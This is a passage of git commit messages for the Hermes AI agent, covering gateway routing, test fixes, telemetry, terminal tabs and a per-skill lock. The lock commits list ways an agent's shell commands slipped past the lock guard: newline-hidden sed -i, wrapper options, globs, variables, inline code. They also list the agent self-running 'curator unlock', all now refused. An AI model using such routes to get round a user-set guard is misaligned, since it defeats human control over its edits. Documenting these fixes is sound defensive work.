  roster saw start since (subagents and background alike).
- Only a missing RPC stops a source; other failures back off (20 s .. 5 min)
  and keep retrying, so a recovered socket comes back on its own.
- Interval ticks are passive after a source's first read on the connection:
  open sockets, plus sources whose last read showed work; idle cold owners
  are no longer dialed every 10 s. gateway.ts gatewayRouteState answers
  without dialing; sharedPrimaryRoute moves to gateway-shared-route.ts with
  the primary-rider hint.
- A superseded connection's late read no longer prunes the new one's buckets.
Independent review of 0c1e74d:

- subagent.roster: a background process's stored parent_session_id is
  authoritative (present in the requested profile's state.db or not ours);
  only a process without one falls back to its route key, and only inside
  the requested profile's session-key namespace (agent:main is trusted for
  a named profile only when it is the sole profile this process hosts).
  A legacy agent:main row or an identical DM tuple in a sibling profile's
  store no longer lights that profile's row.
- useLiveWorkRoster: each source reads and publishes on its own with a
  one-tick request timeout, so a hung backend no longer keeps every other
  source's finished rows lit for the 120 s default timeout. Window focus
  respects an active backoff and re-reads at most every 5 s; a closed socket
  whose last read showed work is re-dialed once a minute, not every tick;
  owners resolve against their own row (one row list per tick, not O(n^2)).
Greptile "Old routes merge different gateways": the primaryRiders hint was
keyed by scope alone, so after a soft connection apply a profile learned on
the old primary still keyed as primary:<profile> and could merge with the
same profile on the new primary, skipping one backend.

Bind each hint to the primary identity it was learned on (gateway socket +
primary connection id, taken before the route await) and ignore it once the
primary changes. The roster hook's per-connection state (missing-RPC stops,
backoff, buckets keyed primary:/ambient) now also restarts when the primary
route changes, even while the foreground socket stays open.
Greptile "Cleanup hides running work": writeBackground stamped local
removals (manual X, auto-clear) as fresh backend data, so a dismissal made
rosterLiveIds discard a valid roster count. Only a process.list snapshot
stamps freshness now; dismissals carry the snapshot's stamp forward.
A multiplexed gateway reports secondary profiles' platforms as
"profile:platform". The status-bar pill stripped the prefix, so a
logged-out Workhorse WhatsApp read "Backend whatsapp down" while the
user's own platforms were all connected. Keep the full id, matching
the Messaging platforms list in the gateway menu.
`hermes update` ran `git stash push --include-untracked` on every dirty tree,
so any untracked folder in the checkout was hashed into git objects and
deleted from disk, then written back on restore. A 55 GB leftover worktree
copy (2.8M files) made the "stashing before update" step take minutes, and
declining the restore left the whole folder parked in git stash.

- Untracked entries are stashed only when a ref the update can land on
  (target, origin/<branch>, local <branch>) has a file at that path, or a
  parent/child of it; the rest stay on disk via exclude pathspecs, because a
  pull or checkout never refuses on them. Comparison is casefolded so a
  case-insensitive filesystem still counts Config.py vs config.py. Forks and
  unreadable target trees keep the old stash-everything behaviour (the
  upstream sync lands on a ref fetched later).
- An interactive terminal now asks "Keep these changes after updating?"
  BEFORE anything is stashed. Yes stashes and restores without a second
  prompt; no deletes exactly what would have been stashed, so no stash
  entry is left behind. A run with nothing to pull does not ask. Gateway
  /update, --yes and non-interactive (Desktop) paths are unchanged apart
  from the scoped stash.
test_subprocess_text_encoding requires encoding= with text=True (Windows ANSI code page).
- A main checkout reports in_place_update=False, so the keep/delete prompt fired even with HEAD
  already on origin/main; a "no" deleted edits on a no-op run. Ask only for a real branch switch
  or when the target is not HEAD or an ancestor of it.
- status.showUntrackedFiles=no hid every untracked entry from the scan, so the stash fell back
  to whole-tree --include-untracked. The scan now passes --untracked-files=normal.
test_detach_keeps_draining_into_buffer slept 50 ms and expected the drain to
have read b"one", an idle tick and b"two". Each read is a thread-pool round
trip (run_in_executor), so on a loaded CI runner only the first one had
landed (assert b'one' == b'onetwo'). The product keeps draining while
detached; the test just guessed how long three executor hops take.

Wait on what the drain publishes: PtySession.outputs (chunks read), alive
(EOF seen) and the viewer's close code. The same 50 ms guess sat in three
sibling tests (replay, forced redraw, EOF close); all four now wait on state.
Injection (every bridge read costs 30 ms): base fails 3 of 4, head passes.
test_a_killed_owner_takes_the_fetch_helpers_with_it polled the helper with
_alive(): signal 0, then /proc/<pid>/stat exists(), then read_text(). Once
the owner is killed the helper is an orphan and its reaper can collect it
between any two of those steps, so the read raised FileNotFoundError
(seen on CI) instead of reporting the exit the test was waiting for. Read
once and treat FileNotFoundError / ProcessLookupError as gone.

Same check-then-read in iron_proxy._pid_alive: when the proxy exits between
the existence probe and the /proc/<pid>/cmdline read, the read was skipped,
`ps -p` then failed, and the function fell through to "believe the OS:
alive", so a dead proxy blocked start_proxy and showed as running. On Linux
a missing /proc entry now means gone. New test is red on base.
A bare skipif is never imported by the OS lanes (tests/AGENTS.md).
build_turn_context binds the turn's main route with
agent.auxiliary_client.set_runtime_main: a ContextVar plus the legacy
_RUNTIME_MAIN_* mirrors. Production turns each run in their own context;
one pytest process runs every test in one, so a test that drives the turn
prologue with a fake agent leaves its route bound for the rest of the
process. After test_api_content_row_addressed_backfill.py, 47 compression
tests fail with "Auxiliary compression model test/model has a context
window of 1 tokens" (the lazy feasibility probe takes the main-route
branch and reads a MagicMock compressor window) and 6 tests in
test_auxiliary_main_first.py resolve a patched custom vision main to
openrouter.

An autouse fixture next to the other shared-state fixtures snapshots the
ContextVar and every _RUNTIME_MAIN_* mirror before each test and restores
them after; a module first imported during the test goes back to
clear_runtime_main().
Code Health PRV-09 (plan C1.1), part 1. auxiliary_is_nous was a process
global written from any thread every time the auto route resolved (reset at the
top of the chain, set by _try_nous), and its only reader was
get_auxiliary_extra_body(), which nothing outside tests calls: Nous product
tags have ridden per call through _build_call_kwargs since #45801. Both go,
with _nous_extra_body(), whose only caller was get_auxiliary_extra_body().

Tests: the two tag-scoping tests no longer patch the global (they already
exercise the per-call path); the non-Nous one now binds a Nous main runtime,
so tags keyed on the main route instead of the call's provider would fail it; the welcome-host contract drops its assertion on
the global (the route it pins is still asserted by base_url and model); the
kanban-decompose and profile-describer tests drop patches of the deleted
function, which were inert (call_llm is already mocked).

Search: no plugin or other NousResearch repo imports either name (only
forks carrying their own copy of this module).
Code Health PRV-09 (plan C1.1), part 2. set_runtime_main() has bound the
turn's main route in a ContextVar since overlapping gateway sessions made a
process global unsafe, but it kept publishing six _RUNTIME_MAIN_* mirror
globals plus a compat snapshot under a lock, and the lookup fell back to
them through _compat_runtime_main() whenever the context variable was unset
on the main thread. Normally that returned None (mirrors equal to the
snapshot), but the publisher stored the six fields one at a time and readers
took no lock, so a main-thread lookup racing another session's
set_runtime_main could read that session's runtime, or one session's base_url
paired with another's api_key (reproduced: tens of thousands of non-None
reads in 3s with a fast switch interval). The mirrors, snapshot, lock,
_publish_runtime_main_mirrors and _compat_runtime_main go; the lookup reads
only the context variable.

Tests that patched the mirrors bind the runtime with scoped_runtime_main()
instead (test_auxiliary_main_first x3, test_auxiliary_client x1); the OAuth
rotation test asserts the outer binding survives a scoped rotation instead
of asserting on the mirrors. The salvaged per-test restore fixture (#134236)
now snapshots just the context variable. New
test_aux_runtime_main_context_only.py: none of the deleted names exist (fails
on prior main), a binding made on another thread never reaches this one, and
a scoped binding is gone after its block.

Closes #105888 (the leaked mirror state is gone; the fixture covers the
context variable, which one pytest process shares across tests).
Two tests in tests/hermes_cli/test_goal_judge_timeout_config.py swap a stub
with only call_llm into sys.modules["agent.auxiliary_client"]. monkeypatch
undoes that swap after this fixture's teardown, so the teardown read
_RUNTIME_MAIN_CONTEXT off the stub and raised AttributeError: both tests
passed and then errored in cleanup. The fixture now holds the real context
variable it captured before the test, and skips a module without one.

Found by review on #142930. Missed locally because the runner's summary line
counted only failures; the per-file ERROR lines were in the log.
A turn that ends with work still going (a background process, a background
subagent) keeps its sidebar row lit. The light comes from per-session stores
fed by events and by a per-pane poll, and the poll pauses as soon as that
session's pane is hidden. A background process that exits without
notify_on_complete sends no event either, so the stored "running" entry never
changed and the row kept spinning until the user clicked back into the session.

The app-wide live-work roster already reads every backend every 10 s, but it
could only ADD rows, never end one. Each roster bucket now records which
sidebar rows its source answers for. A read from that source that is newer than
the event-fed entry and reports no work for the row now ends the highlight.
A row no source covers keeps its event-fed state, and a closed source covering
a lit row is re-read on the existing one-minute busy cadence.
Spotify left core (#135389) and the five browser_vault_* tools folded into one
browser_vault after v0.21.6/v0.21.7 shipped them, which dropped spotify,
spotify_* and browser_vault_* from the shared-metrics contract (and spotify /
spotify_* from the v3/v4 schema enums). Pending rows older releases stored
with those names no longer exported as recorded: the drift re-bucket turned
toolset=spotify into custom and tool_name=spotify_search into unknown, and a
tool_unavailable row (no fallback bucket) was left out entirely.

They join RETIRED_TOOL_NAMES / RETIRED_TOOLSET_NAMES, the existing legacy set
for removed core names; recording still maps through the live sets, so no new
row carries them. The v3/v4 schema enums regain the removed values, and the
v4 tool_unavailable enum also gains the contract values it never listed
(browser_vault, set_theme, setup_beat, setup_choose, start_chat).

Tests: the retired-name packaging test gains spotify and browser_vault cases,
and the schema-equals-contract test covers tool_unavailable; both red on
origin/main.
hermes.gateway.busy_arrival.count: one row per human message that reaches a
chat whose turn is still running (the shared runtime's busy dispatch),
recorded once its fate is known: queued (ran later as its own turn),
steered (steer or interrupt-mode redirect into the running turn),
interrupted (hard interrupt, then ran next), merged (folded into another
busy message of the same burst), dropped (/stop, /new, refused, queue cap),
with the wait from arrival to the moment it reached the agent.

hermes.engagement.day.count gains gateway_peak_busy_chats_bucket: the most
chats of the owning profile with a turn running at once that UTC day, kept
in memory from the runner's running-turn set at every turn boundary
(_persist_active_agents, moved to the agent-cache mixin so the gateway.run
facade does not grow) and folded into the profile's engagement day state.

Both are opt-in through the existing shared-metrics gate; no chat ids or
session keys leave the process.
A graceful stop/restart (runtime_draining) and the session_busy /
unknown_execution pause notices tell the user the message is saved while its
FIFO row stays queued, but the busy-arrival settle recorded dropped/never.
Park the arrival instead: it counts as queued if this process later runs the
row, and not at all across a restart (the existing doc promise). A row read
back as unknown right after commit already started, so it counts as reached.

The startup auto-resume loop claims chats from the launch profile's scope;
pre-assign each claimed chat to the home its turn resolves to, so a resumed
secondary-profile chat no longer counts toward the launch profile's peak.
- A message the adapter sees as idle (its earlier message's adapter task ended while a queued
  turn runs as a FIFO turn, outside the adapter's session guard) is stamped by the runner's
  running-turn check at FIFO admission and settled there, so a busy chat counts every waiting
  message once. A queued row cancelled later (/stop, /new, refused head, edit) settles dropped
  through SessionAuthority._settle_cancelled.
- A row that is already terminal when admit_message re-reads it counts as reached only for a
  turn outcome (completed / interrupted / failed / steered); cancelled, rejected or deleted is
  dropped / never.
- The arrival's home is the routing identity's runtime profile, not the profile that last ran a
  turn in that chat id (two bots of different profiles in one channel).
- The day's peak of running chats is kept per UTC day, and a day closing after midnight folds
  its own peak before its row is written.
If the metrics call ever raised, the /stop path would leave the queued
message's waiter unresolved and schedule no successor drain. Telemetry
now runs last in _settle_cancelled (re-review P3 on #147664).
While a turn runs, every background process that finishes is admitted to the
session FIFO as its own queued turn, so ten finished jobs meant ten
back-to-back "[IMPORTANT: Background process ... completed]" turns after the
current one, each re-reading the whole context and answering one result.

A completion now folds into a completion still waiting at the very end of the
FIFO: the new admission carries both texts, every producer identity and a
"N background process results" header, and cancels the waiting row in the
same transaction (the `replaces` path heartbeat ticks already use). Only the
tail folds, so a prompt queued between two completions keeps its place; a
waiting row claimed first leaves the new completion to queue alone.
Review findings on the fold:

- The FIFO tail was read before the ordered write. A prompt committed in
  between still let the fold cancel the earlier completion and re-admit it
  behind the prompt. The fold's write guard now re-checks, in the admission
  transaction, that the replaced row is still the last queued input; if not
  it refuses and the new completion queues alone.
- Each fold left the full text on the cancelled row, so N completions stored
  batches of 1..N results. The replaced row now drops its text (descriptor,
  identities and digest stay, so lost-ACK retries still match).
Independent review of the fold:

- Each fold carried every earlier producer identity, and the cancelled row
  kept that cumulative list, so N completions still stored ~N^2/2 identities
  (200 completions: 20,099 identities, 894 KB of payload). The replaced row now
  keeps only its own identity (the batch row carries the rest), so lost-ACK
  lookups still find every completion: 200 completions now store 200
  identities, 171 KB.
- Completion A queued, then process B's liveness tick, then B's completion:
  B saw its own tick at the tail and queued alone, though it withdraws that
  tick right after. The finishing process's queued ticks no longer count as
  the tail, and the write guard lets them sit behind the replaced row.
Desktop treated registered gateways as one-at-a-time: picking another gateway
ran a "switch" (barrier, session-list wipe, a "Switch to This device? This
opens a fresh session on this computer..." confirm), and a gateway that was
unreachable when Desktop started never showed up in the All profiles session
list after it came back.

- store/gateway-persistence: every registered gateway's home socket is dialed
  at launch, pinned against the idle pruner (retainGatewayForRelay now takes
  includeLocal so This device is kept too when a remote is primary), redialed
  every 30 s while down, and the session list is re-pulled when one connects.
- selectConnection is a live activation like a profile pick: the target is
  opened first (a dead gateway fails there and touches nothing), then the old
  runtime is unbound and a fresh draft started synchronously right before the
  target is published (#93937 invariant kept). No barrier, no list wipe, no
  machine-context reset; an in-flight Settings apply is superseded.
- This device prompts only when picking it would start the installer; the
  switchDevice* copy is gone and "Switch to" reads "Open". Other gateways'
  rail squares use the normal unselected weight instead of an "at rest" dim.
- Docs: multi-connection-desktop.md describes always-connected gateways.
- The window-long keep is its own pin (store/gateway-kept-routes) instead of
  the bot relay's counted lease: the pruner and idle-dispose paths honour it,
  but an edited gateway's redial no longer waits for it, so the socket moves to
  the new URL/token at once.
- The keeper skips This device when Hermes is not installed there (probe fails
  closed), so the installer only runs from the confirmed click.
- Leaving the old gateway's project happens before the fresh draft is
  requested, so the draft never inherits that project's folder.
- OAuth remote/cloud picks prove a protected REST read before anything in
  front is touched (restored).
- The "gateway connected" list refresh fires from every successful socket
  open of a kept route, automatic reconnects included.
Review findings on the live re-scope that replaced the switch wipe:

- The star map cache survived a gateway change when the profile name stayed
  the same (only a profile-name change reset it), so the view showed and
  acted on the previous backend's graph. The connection-id listener now
  resets it and reloads an open view, like the profile listener does.
- selectConnection with an explicit profile on the same gateway kept the old
  profile's project scope, so the fresh draft inherited its folder. Leave the
  project when either the gateway or the profile changes.
Follow-ups from the deep review:
- Cover the drain rule: a kept gateway with a relay lease defers an edit
  redial until the lease is released, and the keep pin alone never defers it
  (red with the keep pin counted in the drain).
- The keeper comment no longer claims a throttle it does not have: a down
  gateway is redialed every 30 s.
- Docs: SSH tunnels and (with a remote primary) the local gateway now start
  at launch, and terminals on a gateway keep running when you pick another.
`hermes curator lock <skill>` records `locked: true` beside `pinned` in the
active profile's skills/.usage.json. While locked, skill_manage refuses
patch/edit/write_file/remove_file/delete on that skill when the write origin
is the background review fork or the curator consolidation pass, for the
whole skill directory and on both the single-op and the batch path. The
skill stays readable, listed and auto-loadable; foreground user-directed
writes are not gated; unlocked siblings keep learning.

- tools/skill_usage.py: set_locked / is_locked (strict: a corrupt sidecar
  raises instead of reading as unlocked) / locked_skill_names
- tools/skill_manager_guards.py: _locked_guard, wired into
  _background_review_preflight ahead of the delete guard; fails closed on
  an unreadable sidecar instead of silently relaxing the lock
- hermes_cli/curator.py: `curator lock|unlock`, locked list in `status`
- agent/background_review.py: one prompt sentence so the fork does not
  retry or recreate a refused locked skill
- docs: curator.md "Locking a skill's content" section, line 47 corrected
  (pins block deletion only, #141673), skills.md pointer

Related: #140332, #142933, #89961
Builds on the per-skill lock record (`hermes curator lock`): the lock now holds against the
agent everywhere, not only the background passes.

- skill_manage refuses every mutating action on a locked skill for every origin (normal turns,
  cron, subagents, review fork, curator); a corrupt sidecar still fails closed only for the
  autonomous passes so one broken file can't freeze every skill edit.
- write_file / patch hard-refuse any path inside a locked skill's directory and the lock
  record (skills/.usage.json) while any skill is locked (tools/skill_lock.path_refusal, wired
  into _check_sensitive_path).
- terminal refuses, before approvals and under --yolo, commands that write into a locked skill:
  redirections/tee, cp/mv/rm/touch/mkdir/chmod, sed/perl -i, git changes in its tree, archive
  extraction into it, inline python/bash code naming it, including after a cd into it; and the
  agent running `hermes curator unlock`. Reads and running the skill's own scripts still work.
- The curator never auto-archives a locked skill.
- Docs: "Locking a skill" rewritten for the new contract.
Adds the user-facing half of the per-skill lock (hermes curator lock):

- PUT /api/skills/lock {name, locked, profile?}: resolves the skill and
  keys the record by its directory (what the write guards resolve), in
  the selected profile; 404 for an unknown skill, 500 when the sidecar
  write fails.
- GET /api/skills rows carry locked (best-effort; a corrupt sidecar
  lists everything unlocked instead of failing the list).
- Desktop: Lock/Locked text toggle with a state-specific hint in the
  skill detail pane for every provenance (optimistic, rolls back on
  error), plus a lock glyph on locked rows (list rows, cards, detail
  header). Strings in all bundled locales.
- Newlines separate commands (shlex read them as whitespace, so a second-line `sed -i` hid
  behind an `echo`).
- Wrapper options that take a value (`sudo -u root`, `xargs -n 1`) are skipped, reusing
  self_repo_guard's wrapper table.
- `( ... )` subshells restore the working directory when they close.
- `cp/mv/install/ln -t DIR` and `--target-directory=DIR` are the write destination.
- Recursive copies (`cp -r`, rsync) and archive extraction into a directory above a locked skill,
  inside a skills root, are refused: they can merge into it.
- Globs expand against the filesystem like the shell does, so `sed -i ... ops/*/SKILL.md` is
  judged by what it matches.
- The curator's auto-archive check resolves rows (frontmatter names) to the directory-keyed lock
  via tools/skill_lock.is_locked_skill.
- Shell variables in write targets expand from the environment plus `p=...` / `export p=...`
  assignments earlier in the command.
- Inline interpreter code that writes is refused when its working directory is inside a
  locked skill (relative paths), not only when it names the skill.
- A recursive delete/move of a directory holding the lock record is refused even when the only
  locked skill lives in skills.external_dirs.
- Reads are no longer refused: inline code counts as writing only for write-mode open(),
  write/delete/rename/copy calls and shell write forms; `find -exec` is refused only when the
  executed command itself writes.
- locked_skill_dirs resolves every lock in one walk of the skills dirs instead of one
  _find_skill search per locked name.
New PTY tabs resolved SSH only from the window-backend route, which a Sessions-switcher move never re-points, so switching back to an SSH gateway kept spawning a local shell until restart. Carry the Sessions-active (connectionId, profile) in the terminal start payload and prefer it when resolving the SSH tunnel, falling back to the window route.
A terminal tab now records the gateway (connection id, plus the profile the
SSH tunnel is keyed by) it was opened on, and its PTY spawns on THAT host
whichever gateway the window shows later. Building on #143491's start-payload
gateway, the window-backend route now only serves tabs that recorded none.

- New tabs take the gateway picked in Sessions at first start; URL/token and
  cloud gateways have no shell transport, so their tabs are This device and
  say so. The + in the terminal rail gets a chevron (and a right-click menu)
  to open a terminal on any SSH gateway or This device, side by side.
- Each tab shows where it runs: a gateway glyph on its rail square and
  "zsh · NAS" in its tooltip/aria label. This device stays unlabeled until
  tabs run on more than one host.
- Restored tabs reopen on their recorded gateway. A removed gateway, or one
  that lost its shell transport, ends in an exited tab that says so instead
  of a local shell under the remote's name.
- An SSH teardown (gateway edited or removed) leaves its tabs disconnected
  ("press Enter") instead of closing them; Enter re-resolves the tab's own
  gateway. The output gate keeps the first exit verdict so the kill's own
  exit cannot overwrite it.
- The resolver moves out of main.ts into electron/terminal-gateway-target.ts;
  the window-route lookup reuses it.

Tab ownership and persistence follow #85241's TerminalEntry shape.

Co-authored-by: Addel Hamoudhy <ahamoudhy@gmail.com>
before-quit kills every PTY while the window is still alive, so each kill
reached the renderer as a shell exit and closed its tab before pagehide set
the teardown guard; a relaunch then restored only the tabs that won the race.
The quit path now silences each session's output gate before the kill, so
tabs (and their recorded gateway) survive to reopen on their own host.
Greptile: Teardown loses the reconnect message. An SSH teardown before the
renderer attached buffered 'disconnected' and then deleted the session, so
the late attach failed and the tab closed with no Enter recovery. Stop the
shell but keep the entry until the gate flushes the exit, as a normal exit does.
Greptile: Failed reconnects disable Enter. A failed start re-armed Enter only
on browser hosts, so a native SSH tab whose reconnect hit an offline host
stayed closed after the host came back. Retry follows the tab's transport:
an SSH gateway tab re-arms Enter; a local native spawn failure still does not.
Greptile: Matching paths select wrong hosts. The $currentCwd listener compared
paths only, so with /repo open on two gateways, entering a session on one could
keep or select the other host's tab. Tabs now match only on the session's shell
host (a fresh tab with no recorded gateway still matches); with no registry the
path alone decides, as before.
Greptile: Right-click opens the wrong menu. ContextMenuTrigger wrapped Tip,
which hands extra props to the tooltip content, so the + button never got the
contextmenu handler or the trigger marker and the generic app menu opened.
The trigger now sits inside Tip, directly on the button.
Review P2-1: the gateway menu recorded only the connection id, so main keyed
the SSH tunnel to the default profile and could bootstrap an extra remote
serve for it. Build the record with shellGatewayFor like + does. A tab opened
on another host than the session's no longer inherits the session's cwd, a
path on the wrong host.
Review P2-2/P3-2: a restored SSH tab keeps connectionId+profile across
save/load and adoption never moves it; a recorded tab starts on its own
gateway while Sessions shows This device; an unavailable reply never
attaches; the #97345 pooled-tunnel fallback and ownerless local adoption
are pinned. Each test goes red under the matching review mutation.
Review P3-4: an SSH teardown now keeps the tab and printed a hardcoded English
line beside the localized gateway messages. Move it to
rightSidebar.terminalDisconnectedBody in en and all eight overlays.
Review finding (P1): the plain + / keyboard / ensureTerminal paths created a tab
with no gateway and recorded one only after a successful spawn, so a failed
first SSH start followed by a This device pick retried locally.

createTerminal now records the Sessions gateway at creation (terminal-gateway.ts
binds the registry-backed store), and an ownerless restored tab pins the gateway
it tries before the async start.
Review finding (P2): host-aware re-selection ran only when $currentCwd changed,
so nas:/repo -> local:/repo kept the NAS tab. Re-run the link when the Sessions
gateway's connection changes too; a manual pick survives while neither moves.
Review finding (P2): gateway ids are reusable label slugs, so deleting NAS and
adding another machine named NAS retargeted old tabs after relaunch. Registry
entries carry no stable identity, so a tab whose gateway leaves the registry is
persistently marked gatewayRemoved and never starts again; an in-place edit
keeps the id registered and its tabs keep reconnecting.
Grok Bot joins setup's "Coming from another agent?" step (detected from its desktop app
or a downloaded grok-bot-export file). Bare `hermes migrate` offers the same import on an
existing install; `hermes migrate <agent>` imports from one agent, installing the
agent-importers plugin from the catalog when missing. A plugin too old for the picked
importer is updated once and the import retried, for setup and migrate alike.
First-run setup keeps passing --migrate-secrets (what core's old OpenClaw step did); the named
command forwarded setup's choice too, so API keys and bot tokens came over without being asked.
A machine stop during an install can leave an unpacked wheel in PM's uv
cache whose files are NUL bytes: uv renames its unpack directory into
archive-v0 without flushing the data. uv reuses that entry on every sync, so
every later plugin enable, repair or install failed with "The wheel is
invalid", and neither a retry nor the suggested `hermes pm doctor` helped.

When uv's install step fails on a cached artifact (invalid wheel, invalid
RECORD, or a cache pointer to a missing archive), PM now removes the named
package(s) plus any other entry that fails the same validation through
`uv cache clean`, deletes leftover corrupt archives, and retries. A retry
only follows a failure naming a package not purged yet (at most three), so a
source that serves a broken wheel fails once more with a message naming the
package and the cache directory. Other failures are untouched.

`hermes pm doctor` now reports corrupt uv cache entries, and
`hermes pm doctor --repair` removes them.
Review findings on the first version:
- A symlinked archive-v0 let the leftover sweep delete outside the cache.
  The sweep now refuses a symlinked or junctioned archive-v0, skips linked
  entries, and deletes through a descriptor of the real directory.
- The validator flagged valid entries (lower-case headers, a Name past the
  first 64 KiB, unreadable files), and the sweep ran without uv's cache lock,
  so it could take an archive a concurrent sync was using. Only positive
  evidence of a torn write now counts (missing, empty or NUL-filled files,
  or a WHEEL without Wheel-Version), and the sweep holds uv's cache lock,
  leaving the entries for later when uv keeps it busy.
- A failed uv cache clean now keeps the install error that triggered it.
A torn write can keep a file's first pages and lose later ones. The validator
now scans each file in bounded chunks instead of only its first 64 KiB.
The sweep validated entries by path and only then opened archive-v0, so
replacing the cache path between the two steps could point the delete at
another directory. It now opens the cache once and reaches archive-v0, the
lock, every entry and every file relative to that descriptor without
following links. Platforms without descriptor-relative rmtree (Windows,
Python < 3.11) skip the sweep; the leftovers are harmless there.

The WHEEL check also finds a Wheel-Version line anywhere in the file, not
only in its first 64 KiB.
os.fdopen raised before its context manager owned the descriptor, so each
such entry leaked one descriptor per sweep.
The descriptor-anchored sweep defended against a process that swaps paths
inside PM's own uv cache mid-sweep. That cache belongs to the operator's
account, which SECURITY.md §2 treats as one trust envelope: anything able to
swap those paths can already delete them directly. The sweep keeps the parts
that matter for correctness: it holds uv's cache lock (a concurrent sync never
loses an archive it is reading), refuses a linked archive-v0, skips linked
buckets, and deletes only entries whose files prove a torn write. shutil.rmtree
never follows links inside a tree on Linux/macOS.

Tests keep the real-uv recovery case (red on main with the live error) and the
not-corruption classification table; the live CLI A/B covers doctor and
doctor --repair.
The caption beside every Capabilities switch (skills, tools, plugins, the
bulk "all" toggle) named the action a click would take, so a lit switch
read "Disable" and an off one read "Enable". Users read the verb as the
current state. The caption now names the state, the Windows Settings
pattern, using the already-localized common.on/common.off strings.

The old settings.plugins.enable/disable keys had no other caller and were
never translated (overlay-gaps listed all 8 locales), so they are removed
along with their gap entries. Non-English users now get a translated
caption instead of the English fallback.
- 将后台任务运行和结果投递移动到独立 mixin,保持原有入口和行为。

- 避免继续扩展超长的 run_turn 模块;原有后台任务与作用域测试 3 项通过。
- 将 /bg 执行上下文标记为不支持异步投递,复用委派工具的同步回退路径。

- 通过真实委派分发验证结果进入最终回复,且普通聊天的异步能力保持不变。

- 回归测试先复现失败;后台任务、配置作用域及异步投递相关 10 项测试通过。
The gateway /bg fix above covered messaging chats only. The shared-owner
/bg (prompt.background, used by the CLI, TUI and Desktop) and the classic
local CLI /bg run the same detached bg_* side agent, and on main a
background delegate_task there also leaves a completed ledger row pending
forever: nothing wakes or drains a bg_* session. Their side agents now
declare the channel stateless, so the batch runs inline and the result is
in the one answer /bg reports. The sync-fallback note names /bg.

Refs #140569.

Co-authored-by: milnerrad <302432023+milnerrad@users.noreply.github.com>
Review finding "Shared-owner fix lacks test coverage": prompt.background
runs a background delegate_task through _side_scope; the new test drives
a real owner daemon and asserts the child's answer lands in
background.complete with no async_delegations row. It fails when
async_delivery=False is dropped from _side_scope.

Also list "a /bg background task" in the terminal tool's async-unsupported
note (tool result only, matching the delegate note) and drop the blank
lines the method move left in gateway/run_turn.py.
A routing entry persisted with "origin": null (seen on Telegram forum
topics, #146696) stayed origin-less forever: creation is the only writer
of origin, so later turns never filled it. Restart auto-resume, route
recovery and lane naming all skip such an entry, so a completion queued
behind an interrupted turn never woke the chat after a restart even with
the _route_owner crash fixed.

- load: rebuild a messaging entry's missing origin from its sessions row
  (origin_json, else its columns), only when it routes back to the same key
- inbound: a human turn on the route fills an origin nothing could restore
Finding "Named profiles stay stuck": _stored_origin rebuilt the source with no
profile, so an agent:<named>: route whose row had no origin_json generated an
agent:main: key and was rejected. Pass the profile the key names.
Finding "Stale settings replace saved settings": with a failed routing read at
boot, the heal ran after _routing_fallback_baseline was captured, so recovery
read the healed mirror entry as a caller edit and the next full save wrote the
stale mirror over newer DB state (suspended, resume pointers, resume_pending).
Heal before the baseline, and heal entries recovery adopts from the DB.
Builds on the salvaged #140721 sweep change. Dropping the owner-liveness
skip outright would hand a second copy of every row owned by another live
process (whose queue this one cannot see) and duplicate a copy that is
still queued under the watcher's refusal backoff.

The sweep now re-offers a row whose owner is alive, or that this process
already offered, only when:
- the owner is THIS process (or this process made the offer);
- no final-result copy sits in the target queue or the producers'
  completion_queue (read under each queue's mutex); and
- nobody claimed, deferred or released the row for a whole claim lease,
  the same span after which a silent claim counts as abandoned.

Dead-owner rows keep the 60 s orphan rule. An offered copy discarded
without return_completion_offer no longer pins the row until the next
restart. claim_completion_delivery stays the atomic gate. The main test
that pins "a live owner's queued row is never swept" is restored
unchanged and still passes.

Fixes #140718, #144563.

Co-authored-by: NyllRE <nyll.redeast@gmail.com>
Review of #147748 (should-fix 1 and 2) and Greptile "New waits violate test rules":

- A consumer that keeps handing the copy back was re-offered on every 30 s sweep tick with a
  WARNING each time, because a re-offer touches no ledger column. The sweep now remembers when it
  last re-offered each row (in process memory, no schema change) and leaves it alone for a whole
  _CLAIM_LEASE_S; only the first re-offer of a row warns, later ones log at DEBUG.
- A copy a TUI poller holds between take_ready and its requeue was invisible to the queue
  snapshot, so another session's sweep added a duplicate. New in-process registry
  async_delegation.mark_copy_held / unmark_copy_held (keyed by delegation id, counted);
  take_ready marks under the queue's mutex and release unmarks after any requeue, and the sweep
  reads the held ids inside each queue's mutex, so a moving copy is always seen queued or held.
- The new tests wait with tests.waiting.wait_until instead of sleep loops.
tests/tools/test_docker_ownership_handback.py lets several DockerEnvironment
objects go out of scope (the reclaim scenarios' env/retry, the persist
scenarios' reattached env). BaseEnvironment.__del__ calls cleanup(), which
starts a daemon "hermes-cleanup-<cid>" worker, and nothing joined it. The
worker then ran after monkeypatch had unwound: against the real docker CLI
(the env captured /usr/bin/docker), the real sandbox dir and the home-I/O
guard. On CI one of them was still printing its traceback when the file's
interpreter exited with its stderr pipe busy, which aborts Python with
"_enter_buffered_busy: could not acquire lock for <stderr> at interpreter
shutdown" (SIGABRT, file reported CRASHED with 26 passed).

An autouse fixture now collects dropped envs and asserts every teardown
worker finished (DockerEnvironment.wait_for_all_teardowns) before
monkeypatch unwinds, so each worker runs entirely under its own test's
fakes. Production is unchanged: terminal_tool's atexit drain already joins
these workers; this test never imports terminal_tool.
At the interrupt recursion cap an eventless follow-up (a leftover /steer, a
plain interrupt transcript) went to adapter.queue_message, which no adapter
implements, so it was dropped. Wrap it in a MessageEvent with the session's
pinned channel inputs and restore it at the FIFO head like any queued turn;
a staged successor (e.g. an async delegation completion whose ledger row is
already delivered) stays queued behind it.

Refs #136315, #61008.

Co-authored-by: embwl0x <embwl0x@users.noreply.github.com>
The runner-level depth-cap tests drive the same drain/promote/requeue
sequence through the real recursion, so the helper copy adds no coverage.
Before the gateway owned sessions, `hermes serve` stored whatever `source` a client
sent, so phone apps signed in through the dashboard login left routeless rows labelled
`mobile`, `ios` and the like. Resume only adopted the local surfaces' labels, so those
chats opened read-only (#143601) and the next prompt answered `session_read_only`.

Adopt any routeless, owner-owned row whose label is not a local surface, a built-in
messaging platform, or an automation / foreign-writer label (cron, subagent, kanban,
bot_room, a2a, webhook, api_server, import, recovered, webui, local, unknown). It
resumes as a `gui` chat, and binding relabels it `desktop` (created_source keeps the
app's label), because once bound the row has a route and its old label would read as
a messaging chat. Routed rows never qualify, so the hermes-mobile plugin platform,
which registers `mobile`, keeps its messaging route. Third-party WebUI rows stay
read-only: that process runs its own agent on the same state.db.

The same predicate feeds the read-only mount (skips them), sidebar edits, the stored
picker and `hermes sessions adopt`.

Refs #146814, #144814.
Routing every client-labelled routeless row into adoption turned the read-only
